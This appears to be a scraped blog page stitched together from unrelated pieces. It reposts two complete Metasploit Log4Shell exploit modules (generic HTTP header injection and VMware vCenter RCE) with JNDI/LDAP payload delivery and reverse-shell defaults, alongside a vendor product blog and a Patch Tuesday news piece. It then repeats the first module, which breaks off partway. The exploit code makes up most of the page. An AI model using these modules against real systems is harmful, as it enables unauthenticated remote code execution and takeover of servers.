This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Log4Shell HTTP Header Injection Exploit

 

Description

This Metasploit module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload. The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP server in addition to the LDAP server that the target can connect to. The targeted application must have the trusted code base option enabled for this technique to work. The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::JavaDeserialization
  include Msf::Exploit::Java
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::LDAP::Server
  include Msf::Exploit::Remote::CheckModule
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(_info = {})
    super(
      'Name' => 'Log4Shell HTTP Header Injection',
      'Description' => %q{
        Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,
        log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.

        This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that
        will trigger an LDAP connection to Metasploit and load a payload.

        The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP
        server in addition to the LDAP server that the target can connect to. The targeted application must have the
        trusted code base option enabled for this technique to work.

        The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to
        run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target
        application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.
      },
      'Author' => [
        'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff
        'juan vazquez', # 2011-3544 building blocks reused in this module
        'sinn3r', # 2011-3544 building blocks reused in this module
        'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance
        'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure
      ],
      'References' => [
        [ 'CVE', '2021-44228' ],
      ],
      'DisclosureDate' => '2021-12-09',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'SRVPORT' => 389,
        'WfsDelay' => 30,
        'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
      },
      'Targets' => [
        [
          'Automatic', {
            'Platform' => 'java',
            'Arch' => [ARCH_JAVA],
            'RemoteLoad' => true,
            'DefaultOptions' => {
              'PAYLOAD' => 'java/shell_reverse_tcp'
            }
          }
        ],
        [
          'Windows', {
            'Platform' => 'win',
            'RemoteLoad' => false,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
            }
          },
        ],
        [
          'Linux', {
            'Platform' => 'unix',
            'RemoteLoad' => false,
            'Arch' => [ARCH_CMD],
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_bash'
            }
          },
        ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'AKA' => ['Log4Shell', 'LogJam'],
        'Reliability' => [REPEATABLE_SESSION],
        'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
      },
      'Stance' => Msf::Exploit::Stance::Aggressive
    )
    register_options([
      OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
      OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
      OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),
      OptEnum.new('JAVA_GADGET_CHAIN', [
        true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1',
        Msf::Util::JavaDeserialization.ysoserial_payload_names
      ], conditions: %w[TARGET != Automatic]),
      OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),
      OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
    ])
  end

  def check
    validate_configuration!
    # set these scanner options as appropriate based on the config
    datastore['URIS_FILE'] = nil
    if !datastore['HTTP_HEADER'].blank?
      datastore['HEADERS_FILE'] = nil
    end

    @checkcode = super
  end

  def jndi_string
    "${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
  end

  def resource_url_string
    "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
  end

  #
  # Use Ruby Java bridge to create a Java-natively-serialized object
  #
  # @return [String] Marshalled serialized byteArray of the loader class
  def byte_array_payload(pay_class = 'metasploit.PayloadFactory')
    jar = generate_payload.encoded_jar
    serialized_class_from_jar(jar, pay_class)
  end

  #
  # Insert PayloadFactory in Java payload JAR
  #
  # @param jar [Rex::Zip::Jar] payload JAR to update
  # @return [Rex::Zip::Jar] updated payload JAR
  def inject_jar_payload_factory(jar = generate_payload.encoded_jar)
    # From exploits/multi/browser/java_rhino - should probably go to lib
    paths = [
      [ 'metasploit/PayloadFactory.class' ]
    ]
    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0, idx].join('/') + '/'
        jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)
      end
      File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|
        data = fd.read(fd.stat.size)
        jar.add_file(path.join('/'), data)
      end
    end
    jar
  end

  #
  # Generate and serialize the payload as an LDAP search response
  #
  # @param msg_id [Integer] LDAP message identifier
  # @param base_dn [Sting] LDAP distinguished name
  #
  # @return [Array] packed BER sequence
  def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')
    if target['RemoteLoad']
      attrs = [
        [ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
        [ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
        [ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
        [ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,
      ]
    else
      java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
      # vprint_good("Serialized java payload: #{java_payload}")
      attrs = [
        [ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
        [ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
      ]
    end
    appseq = [
      base_dn.to_ber,
      attrs.to_ber_sequence
    ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
    [ msg_id.to_ber, appseq ].to_ber_sequence
  end

  ## LDAP service callbacks
  #
  # Handle incoming requests via service mixin
  #
  def on_dispatch_request(client, data)
    return if data.strip.empty?

    data.extend(Net::BER::Extensions::String)
    begin
      pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
      vprint_status("LDAP request data remaining: #{data}") unless data.empty?
      resp = case pdu.app_tag
             when Net::LDAP::PDU::BindRequest # bind request
               client.authenticated = true
               service.encode_ldap_response(
                 pdu.message_id,
                 Net::LDAP::ResultCodeSuccess,
                 '',
                 '',
                 Net::LDAP::PDU::BindResult
               )
             when Net::LDAP::PDU::SearchRequest # search request
               if client.authenticated || datastore['LDAP_AUTH_BYPASS']
                 client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
                 service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
               else
                 service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
               end
             else
               vprint_status("Client sent unexpected request #{pdu.app_tag}")
               client.close
             end
      resp.nil? ? client.close : on_send_response(client, resp)
    rescue StandardError => e
      print_error("Failed to handle LDAP request due to #{e}")
      client.close
    end
    resp
  end

  ## HTTP service callbacks
  #
  # Handle HTTP requests and responses
  #
  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
    pay = regenerate_payload(cli)
    jar = inject_jar_payload_factory(pay.encoded_jar)
    send_response(cli, 200, 'OK', jar)
  end

  #
  # Create an HTTP response and then send it
  #
  def send_response(cli, code, message = 'OK', html = '')
    proto = Rex::Proto::Http::DefaultProtocol
    res = Rex::Proto::Http::Response.new(code, message, proto)
    res['Content-Type'] = 'application/java-archive'
    res.body = html
    cli.send_response(res)
  end

  def exploit
    validate_configuration!
    if datastore['HTTP_HEADER'].blank?
      targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first
      http_header = targetinfo[:headers].keys.first if targetinfo
      fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header

      print_good("Automatically identified vulnerable header: #{http_header}")
    else
      http_header = datastore['HTTP_HEADER']
    end

    # LDAP service
    start_service
    # HTTP service
    start_http_service if target['RemoteLoad']
    # HTTP request initiator
    send_request_raw(
      'uri' => normalize_uri(target_uri),
      'method' => datastore['HTTP_METHOD'],
      'headers' => { http_header => jndi_string }
    )
    sleep(datastore['WfsDelay'])
    handler
  ensure
    cleanup
  end

  #
  # Kill HTTP & LDAP services (shut them down and clear resources)
  #
  def cleanup
    # Clean and stop HTTP server
    if @http_service
      begin
        @http_service.remove_resource(datastore['URIPATH'])
        @http_service.deref
        @http_service.stop
        @http_service = nil
      rescue StandardError => e
        print_error("Failed to stop http server due to #{e}")
      end
    end
    super
  end

  private

  # Boilerplate HTTP service code
  #
  # Returns the configured (or random, if not configured) URI path
  #
  def resource_uri
    path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'
    path = '/' + path if path !~ %r{^/}
    if path !~ /\.jar$/
      print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
      path += '.jar'
    end
    datastore['URIPATH'] = path
    return path
  end

  #
  # Handle the HTTP request and return a response.  Code borrowed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http_service(opts = {})
    comm = datastore['ListenerComm']
    if (comm.to_s == 'local')
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end
    # Default the server host / port
    opts = {
      'ServerHost' => datastore['SRVHOST'],
      'ServerPort' => datastore['HTTP_SRVPORT'],
      'Comm' => comm
    }.update(opts)
    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      opts['ServerPort'].to_i,
      opts['ServerHost'],
      datastore['SSL'],
      {
        'Msf' => framework,
        'MsfExploit' => self
      },
      opts['Comm'],
      datastore['SSLCert']
    )
    @http_service.server_name = datastore['HTTP::server_name']
    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => method(:on_request_uri),
      'Path' => resource_uri
    }.update(opts['Uri'] || {})
    proto = (datastore['SSL'] ? 'https' : 'http')
    print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
    if (opts['ServerHost'] == '0.0.0.0')
      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address}:#{opts['ServerPort']}#{uopts['Path']}")
    end
    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)
  end

  def validate_configuration!
    fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
    if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
      fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
    end
  end
end

A December to Remember — Or, How We Improved InsightAppSec in Q4 in the Midst of Log4Shell

 

Description

A December to Remember — Or, How We Improved InsightAppSec in Q4 in the Midst of Log4Shell

Ho, ho, holy cow — what a wild way to wrap up the year that was. Thousands of flights were cancelled during Christmas week, nearly every holiday party became a super-spreader event, and we lost a legend in Betty White. In our neck of the woods, Log4Shell has been dominating the conversation for nearly the entire holiday season. But now that much of the initial fervor has passed, we wanted to take a moment to recap some of InsightAppSec and tCell’s Q4 highlights and give us all a little much-deserved break from the madness.

RBAC

It may not seem like much, but role-based access control — or RBAC— is a game-changer for many teams looking to streamline their access to InsightAppSec. Essentially, we make it super simple to configure access to the platform perfectly for every member of your team, create tiers of accessibility for different job roles, and ensure everyone has exactly what they need to do their jobs on day one.

Included is a new pre-built remediator role, which was designed to only show developers what they need in order to address a that vulnerability. They can drill into it, see reference details and remediation steps, and replay the attack in their dev or staging environments, all in an easy, navigable interface. This new role helps prevent the back-and-forth between security and development passing vulnerability details.

The key to our new feature is scalability. Regardless of whether you have a team of 10 or a team of 1,000, each group will only have the permissions they need to view the data you want them to see — all without the back-and-forth that comes with creating permissions ad hoc. It’s a time-saver, for sure, but it can also reduce headaches and make costly mistakes far less likely. If you want to learn more check out our blog post on the subject (it’s got a cute Goldilocks theme — you’ll get the drift).

ServiceNow

Oh, yeah, we’re fully integrated with ServiceNow. It’s just a leader in IT service management, and InsightAppSec is fully integrated, working seamlessly, and available in the ServiceNow app store for, like, zero dollars. No biggie.

This integration offers a lot of great features that will save your team time and effort, improving everything from visibility, to prioritization, to remediation. In fact, remediation will happen even faster than it already does with updates automatically happening across both ServiceNow and InsightAppSec tickets. And it’s so simple and quick to install, you’ll be benefiting from it in minutes. Oh, and did we mention zero dollars?

Log4Shell

OK, break’s over. Yes, we made many improvements to InsightAppSec this quarter, but we would be remiss if we didn’t mention the ones we made for Log4Shell. The big one is a new InsightAppSec default attack template for Out of Band Injection specific to Log4Shell attacks. Attack templates are InsightAppSec’s bread and butter, testing every part of your application against known attack vectors. With this feature, we have an attack template that can automate a sophisticated attack by simulating an attacker on your website and injects code in your application. If the code is vulnerable, it calls a Log4j function to send a JNDI call to a Rapid7 server validating the exploitability of the application. This helps you identify and prioritize Log4Shell vulnerabilities before they become real threats.

For even more flexibility, we’ve added an attack module that actually does the out-of-band Log4Shell attack during testing. You can easily select this in the Log4Shell attack template, but you can can also create a custom template and add the new Log4Shell attack module to that.

We’ve also improved tCell’s ability to protect against Log4Shell attacks. We launched a new app firewall protection specifically for Log4Shell attacks. The new firewall lets our customers know if their apps have been attacked through the Log4Shell vulnerability and drill down to specifics on the attack. We’ve also created a default pattern that allows you to block well known Log4Shell patterns and as more become known, we will continue our updates.

Even more

While these were just a few of the major improvements we made to InsightAppSec and tCell this quarter, there were certainly a host of minor ones that are sure to make the platform easier and more efficient. They include custom NGINX builds and support for .Net 6.0 for tCell, Archiving Scan Targets, and customizing executive reports for InsightAppSec, among others.

Those are the highlights from the fourth quarter of 2021 from here in InsightAppSec-land. We’re well on our way to making Q1 2022 even better for our customers, though we can’t do anything about those flight cancellations. And while we’re at it, someone check on Keith Richards.

NEVER MISS A BLOG

VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)

 

Description

VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on Windows. This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page vector.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Log4Shell
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::CheckModule
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(_info = {})
    super(
      'Name' => 'VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)',
      'Description' => %q{
        VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
        that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
        command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
        Windows.

        This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
        vector.
      },
      'Author' => [
        'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
        'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
        'jbaines-r7', # vCenter research
        'w3bd3vil' # vCenter PoC https://twitter.com/w3bd3vil/status/1469814463414951937
      ],
      'References' => [
        [ 'CVE', '2021-44228' ],
        [ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
        [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0028.html' ],
        [ 'URL', 'https://twitter.com/w3bd3vil/status/1469814463414951937' ]
      ],
      'DisclosureDate' => '2021-12-09',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true,
        'SRVPORT' => 389,
        'WfsDelay' => 30,
        'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
      },
      'Targets' => [
        [
          'Windows', {
            'Platform' => 'win'
          },
        ],
        [
          'Linux', {
            'Platform' => 'unix',
            'Arch' => [ARCH_CMD],
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_bash'
            }
          },
        ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'AKA' => ['Log4Shell', 'LogJam'],
        'Reliability' => [REPEATABLE_SESSION],
        'RelatedModules' => [
          'auxiliary/scanner/http/log4shell_scanner',
          'exploit/multi/http/log4shell_header_injection'
        ]
      }
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'Base path', '/'])
    ])
  end

  def check
    validate_configuration!

    return Exploit::CheckCode::Unknown if tenant.nil?

    super
  end

  def check_options
    {
      'LDAP_TIMEOUT' => datastore['WfsDelay'],
      'HTTP_HEADER' => 'X-Forwarded-For',
      'TARGETURI' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
      'HEADERS_FILE' => nil,
      'URIS_FILE' => nil
    }
  end

  def build_ldap_search_response_payload
    return [] if @search_received

    @search_received = true

    print_good('Delivering the serialized Java object to execute the payload...')
    build_ldap_search_response_payload_inline('BeanFactory')
  end

  def tenant
    return @tenant unless @tenant.nil?

    res = send_request_cgi('uri' => normalize_uri(target_uri, 'ui', 'login'))
    return nil unless res&.code == 302
    return nil unless res.headers['Location'] =~ %r{websso/SAML2/SSO/([^/]+)\?}

    @tenant = Regexp.last_match(1)
  end

  def trigger
    @search_received = false
    # HTTP request initiator
    send_request_cgi(
      'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
      'headers' => { 'X-Forwarded-For' => log4j_jndi_string }
    )
  end

  def exploit
    validate_configuration!

    start_service
    trigger

    sleep(datastore['WfsDelay'])
    handler
  ensure
    cleanup
  end
end

First Patch Tuesday of 2022 Brings Fix for a Critical 'Wormable' Windows Vulnerability

 

Description

Windows Vulnerability

Microsoft on Tuesday kicked off its first set of updates for 2022 by plugging 96 security holes across its software ecosystem, while urging customers to prioritize patching for what it calls a critical “wormable” vulnerability.

Of the 96 vulnerabilities, nine are rated Critical and 89 are rated Important in severity, with six zero-day publicly known at the time of the release. This is in addition to 29 issues patched in Microsoft Edge on January 6, 2022. None of the disclosed bugs are listed as under attack.

The patches cover a swath of the computing giant’s portfolio, including Microsoft Windows and Windows Components, Exchange Server, Microsoft Office and Office Components, SharePoint Server, .NET Framework, Microsoft Dynamics, Open-Source Software, Windows Hyper-V, Windows Defender, and Windows Remote Desktop Protocol (RDP).

Chief among them is CVE-2022-21907 (CVSS score: 9.8), a remote code execution vulnerability rooted in the HTTP Protocol Stack. “In most situations, an unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets,” Microsoft noted in its advisory.

Russian security researcher Mikhail Medvedev has been credited with discovering and reporting the error, with the Redmond-based company stressing that it’s wormable, meaning no user interaction is necessary to trigger and propagate the infection.

“Although Microsoft has provided an official patch, this CVE is another reminder that software features allow opportunities for attackers to misuse functionalities for malicious acts,” Danny Kim, principal architect at Virsec, said.

Microsoft also resolved six zero-days as part of its Patch Tuesday update, two of which are an integration of third-party fixes concerning the open-source libraries curl and libarchive.

  • CVE-2021-22947 (CVSS score: N/A) – Open-Source curl Remote Code Execution Vulnerability
  • CVE-2021-36976 (CVSS score: N/A) – Open-Source libarchive Remote Code Execution Vulnerability
  • CVE-2022-21836 (CVSS score: 7.8) – Windows Certificate Spoofing Vulnerability
  • CVE-2022-21839 (CVSS score: 6.1) – Windows Event Tracing Discretionary Access Control List Denial of Service Vulnerability
  • CVE-2022-21874 (CVSS score: 7.8) – Windows Security Center API Remote Code Execution Vulnerability
  • CVE-2022-21919 (CVSS score: 7.0) – Windows User Profile Service Elevation of Privilege Vulnerability

Another critical vulnerability of note concerns a remote code execution flaw (CVE-2022-21849, CVSS score: 9.8) in Windows Internet Key Exchange (IKE) version 2, which Microsoft said could be weaponized by a remote attacker to “trigger multiple vulnerabilities without being authenticated.”

On top of that, the patch also remediates a number of remote code execution flaws affecting Exchange Server, Microsoft Office (CVE-2022-21840), SharePoint Server, RDP (CVE-2022-21893), and Windows Resilient File System as well as privilege escalation vulnerabilities in Active Directory Domain Services, Windows Accounts Control, Windows Cleanup Manager, and Windows Kerberos, among others.

It’s worth stressing that CVE-2022-21907 and the three shortcomings uncovered in Exchange Server (CVE-2022-21846, CVE-2022-21855, and CVE-2022-21969, CVSS scores: 9.0) have all been labeled as “exploitation more likely,” necessitating that the patches are applied immediately to counter potential real-world attacks targeting the weaknesses. The U.S. National Security Agency (NSA) has been acknowledged for flagging CVE-2022-21846.

“This massive Patch Tuesday comes during a time of chaos in the security industry whereby professionals are working overtime to remediate Log4Shell — reportedly the worst vulnerability seen in decades,” Bharat Jogi, director of vulnerability and threat Research at Qualys, said.

“Events such as Log4Shell […] bring to the forefront the importance of having an automated inventory of everything that is used by an organization in their environment,” Jogi added, stating “It is the need of the hour to automate deployment of patches for events with defined schedules (e.g., MSFT Patch Tuesday), so security professionals can focus energy to respond efficiently to unpredictable events that pose dastardly risk.”

Software Patches from Other Vendors

Besides Microsoft, security updates have also been released by other vendors to rectify several vulnerabilities, counting —

Log4Shell HTTP Header Injection

 `##  

# This module requires Metasploit: https://metasploit.com/download  

# Current source: https://github.com/rapid7/metasploit-framework  

##  

class MetasploitModule < Msf::Exploit::Remote  

Rank = ExcellentRanking  

  

include Msf::Exploit::JavaDeserialization  

include Msf::Exploit::Java  

include Msf::Exploit::Remote::HttpClient  

include Msf::Exploit::Remote::LDAP::Server  

include Msf::Exploit::Remote::CheckModule  

prepend Msf::Exploit::Remote::AutoCheck  

  

def initialize(_info = {})  

super(  

'Name' => 'Log4Shell HTTP Header Injection',  

'Description' => %q{  

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,  

log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.  

  

This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that  

will trigger an LDAP connection to Metasploit and load a payload.  

  

The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP  

server in addition to the LDAP server that the target can connect to. The targeted application must have the  

trusted code base option enabled for this technique to work.  

  

The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to  

run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target  

application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.  

},  

'Author' => [  

'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff  

'juan vazquez', # 2011-3544 building blocks reused in this module  

'sinn3r', # 2011-3544 building blocks reused in this module  

'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance  

'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure  

],  

'References' => [  

[ 'CVE', '2021-44228' ],  

],  

'DisclosureDate' => '2021-12-09',  

'License' => MSF_LICENSE,  

'DefaultOptions' => {  

'SRVPORT' => 389,  

'WfsDelay' => 30,  

'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'  

},  

'Targets' => [  

[  

'Automatic', {  

'Platform' => 'java',  

'Arch' => [ARCH_JAVA],  

'RemoteLoad' => true,  

'DefaultOptions' => {  

'PAYLOAD' => 'java/shell_reverse_tcp'  

}  

}  

],  

[  

'Windows', {  

'Platform' => 'win',  

'RemoteLoad' => false,  

'DefaultOptions' => {  

'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  

}  

},  

],  

[  

'Linux', {  

'Platform' => 'unix',  

'RemoteLoad' => false,  

'Arch' => [ARCH_CMD],  

'DefaultOptions' => {  

'PAYLOAD' => 'cmd/unix/reverse_bash'  

}  

},  

]  

],  

'Notes' => {  

'Stability' => [CRASH_SAFE],  

'SideEffects' => [IOC_IN_LOGS],  

'AKA' => ['Log4Shell', 'LogJam'],  

'Reliability' => [REPEATABLE_SESSION],  

'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]  

},  

'Stance' => Msf::Exploit::Stance::Aggressive  

)  

register_options([  

OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),  

OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),  

OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),  

OptEnum.new('JAVA_GADGET_CHAIN', [  

true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1',  

Msf::Util::JavaDeserialization.ysoserial_payload_names  

], conditions: %w[TARGET != Automatic]),  

OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),  

OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])  

])  

end  

  

def check  

validate_configuration!  

# set these scanner options as appropriate based on the config  

datastore['URIS_FILE'] = nil  

if !datastore['HTTP_HEADER'].blank?  

datastore['HEADERS_FILE'] = nil  

end  

  

@checkcode = super  

end  

  

def jndi_string  

"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"  

end  

  

def resource_url_string  

"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"  

end  

  

#  

# Use Ruby Java bridge to create a Java-natively-serialized object  

#  

# @return [String] Marshalled serialized byteArray of the loader class  

def byte_array_payload(pay_class = 'metasploit.PayloadFactory')  

jar = generate_payload.encoded_jar  

serialized_class_from_jar(jar, pay_class)  

end  

  

#  

# Insert PayloadFactory in Java payload JAR  

#  

# @param jar [Rex::Zip::Jar] payload JAR to update  

# @return [Rex::Zip::Jar] updated payload JAR  

def inject_jar_payload_factory(jar = generate_payload.encoded_jar)  

# From exploits/multi/browser/java_rhino - should probably go to lib  

paths = [  

[ 'metasploit/PayloadFactory.class' ]  

]  

paths.each do |path|  

1.upto(path.length - 1) do |idx|  

full = path[0, idx].join('/') + '/'  

jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)  

end  

File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|  

data = fd.read(fd.stat.size)  

jar.add_file(path.join('/'), data)  

end  

end  

jar  

end  

  

#  

# Generate and serialize the payload as an LDAP search response  

#  

# @param msg_id [Integer] LDAP message identifier  

# @param base_dn [Sting] LDAP distinguished name  

#  

# @return [Array] packed BER sequence  

def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')  

if target['RemoteLoad']  

attrs = [  

[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,  

[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,  

[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,  

[ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,  

]  

else  

java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)  

# vprint_good("Serialized java payload: #{java_payload}")  

attrs = [  

[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,  

[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence  

]  

end  

appseq = [  

base_dn.to_ber,  

attrs.to_ber_sequence  

].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)  

[ msg_id.to_ber, appseq ].to_ber_sequence  

end  

  

## LDAP service callbacks  

#  

# Handle incoming requests via service mixin  

#  

def on_dispatch_request(client, data)  

return if data.strip.empty?  

  

data.extend(Net::BER::Extensions::String)  

begin  

pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))  

vprint_status("LDAP request data remaining: #{data}") unless data.empty?  

resp = case pdu.app_tag  

when Net::LDAP::PDU::BindRequest # bind request  

client.authenticated = true  

service.encode_ldap_response(  

pdu.message_id,  

Net::LDAP::ResultCodeSuccess,  

'',  

'',  

Net::LDAP::PDU::BindResult  

)  

when Net::LDAP::PDU::SearchRequest # search request  

if client.authenticated || datastore['LDAP_AUTH_BYPASS']  

